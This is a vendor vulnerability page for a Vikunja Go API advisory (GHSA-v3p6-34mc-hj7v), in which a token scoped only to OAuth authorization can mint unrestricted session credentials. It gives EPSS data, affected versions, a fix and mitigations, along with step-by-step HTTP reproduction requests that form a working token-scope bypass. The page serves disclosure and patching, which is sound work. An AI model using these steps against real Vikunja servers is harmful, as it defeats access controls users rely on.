Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

Vikunja: Scoped API token can mint unrestricted OAuth session credentialsGHSA-v3p6-34mc-hj7v

HIGHFix: go-vikunja/vikunja@4ae2e09

GHSA-v3p6-34mc-hj7v is a high-severity (CVSS 8.1) Improper Privilege Management vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.

Also known asCVE-2026-57458GO-2026-6750
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-v3p6-34mc-hj7v.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs17th percentile — riskier than 17% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-v3p6-34mc-hj7v by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹code.vikunja.io/api

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.

A token limited to:

{"oauth":["authorize"]}

can call /api/v1/oauth/authorize, receive an OAuth authorization code, exchange it at /api/v1/oauth/token, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.

Affected Component

  • Scoped API tokens
  • OAuth authorization flow
  • POST /api/v1/oauth/authorize
  • POST /api/v1/oauth/token

Impact

A narrowly scoped API token with only oauth.authorize can be converted into normal session credentials for the same user.

This bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.

Runtime validation showed that the original scoped token could not access GET /api/v1/user, but the minted OAuth access token could access:

  • GET /api/v1/user
  • GET /api/v1/projects

No cross-user access, privilege escalation to admin, or access to another account was validated.

Technical Details

The issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.

The vulnerable chain is:

  1. A scoped API token authenticates the request and sets the current user context.
  2. /api/v1/oauth/authorize accepts that API-token-authenticated user as a valid OAuth resource owner.
  3. The OAuth authorization endpoint issues an authorization code.
  4. /api/v1/oauth/token exchanges that code for a normal bearer JWT and refresh token.
  5. The resulting credentials are not bound to the original API-token permissions.

Relevant code paths:

  • pkg/routes/routes.go

    • registers /api/v1/oauth/authorize in an authenticated API route group that also accepts scoped API tokens
  • pkg/models/api_routes.go

    • exposes non-CRUD subroutes as API-token permissions
    • exposes the OAuth authorization endpoint under the oauth permission group
  • pkg/routes/api_tokens.go

    • stores api_token and api_user in the request context during API-token authentication
  • pkg/user/user.go

    • treats api_user as an authenticated current user
  • pkg/modules/auth/oauth2server/authorize.go

    • uses the current user and issues an OAuth authorization code
  • pkg/modules/auth/oauth2server/token.go

    • exchanges the authorization code for a normal JWT and refresh token

Steps to Reproduce

1. Create a scoped API token

Create an API token with only the following permission:

{"oauth":["authorize"]}

Observed response:

201 Created

The returned token had only the oauth.authorize permission.

2. Negative control: direct access with scoped token fails

Request:

GET /api/v1/user
Authorization: Bearer <scoped-api-token>

Observed response:

401 Unauthorized

Response body:

{"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}

This confirms that the scoped token cannot directly access the normal user route.

3. Obtain an OAuth authorization code with the scoped token

Request:

POST /api/v1/oauth/authorize
Authorization: Bearer <scoped-api-token>
Content-Type: application/json

Body:

{
  "response_type": "code",
  "client_id": "vikunja",
  "redirect_uri": "vikunja-flutter://callback",
  "code_challenge": "<pkce-s256-challenge>",
  "code_challenge_method": "S256"
}

Observed response:

200 OK

Response body:

{
  "code": "<redacted>",
  "redirect_uri": "vikunja-flutter://callback",
  "state": ""
}

The scoped API token successfully obtained an OAuth authorization code.

4. Exchange the authorization code for session credentials

Request:

POST /api/v1/oauth/token
Content-Type: application/json

Body:

{
  "grant_type": "authorization_code",
  "code": "<redacted>",
  "client_id": "vikunja",
  "redirect_uri": "vikunja-flutter://callback",
  "code_verifier": "<original-pkce-verifier>"
}

Observed response:

200 OK

Response body:

{
  "access_token": "<redacted>",
  "token_type": "bearer",
  "expires_in": 600,
  "refresh_token": "<redacted>"
}

The authorization code was exchanged for a normal access token and refresh token.

5. Use the minted access token on normal routes

Request:

GET /api/v1/user
Authorization: Bearer <minted-oauth-access-token>

Observed response:

200 OK

Additional scope check:

GET /api/v1/projects
Authorization: Bearer <minted-oauth-access-token>

Observed response:

200 OK

The minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.

Expected Behavior

A scoped API token should not be able to obtain credentials with broader permissions than its declared scope.

/api/v1/oauth/authorize should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.

Actual Behavior

A token scoped only to oauth.authorize can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.

The minted credentials are not restricted by the original API-token permissions.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.vikunja.io/api≥ 2.3.0&&< 2.4.02.4.0go get code.vikunja.io/api@v2.4.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.vikunja.io/api to 2.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v3p6-34mc-hj7v is resolved across your whole dependency graph.

  3. Workarounds

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Frequently Asked Questions

## Summary A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials. A token limited to: ```json {"oauth":["authorize"]} ``` can call `/api/v1/oauth/authorize`, receive an OAuth authorization code, exchange it at `/api/v1/oauth/token`, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions. ## Affected Component * Scoped API tokens * OAuth authorization flow * `POST /api/v1/oauth/authorize` * `POST /api/v1/oauth/token` ## Impact A narrowl
O3 Security · Impact-Aware SCA

Is GHSA-v3p6-34mc-hj7v in your dependencies?

Find it across Go, including transitive dependencies.

Vikunja: Scoped API token can mint unrestricted OAuth…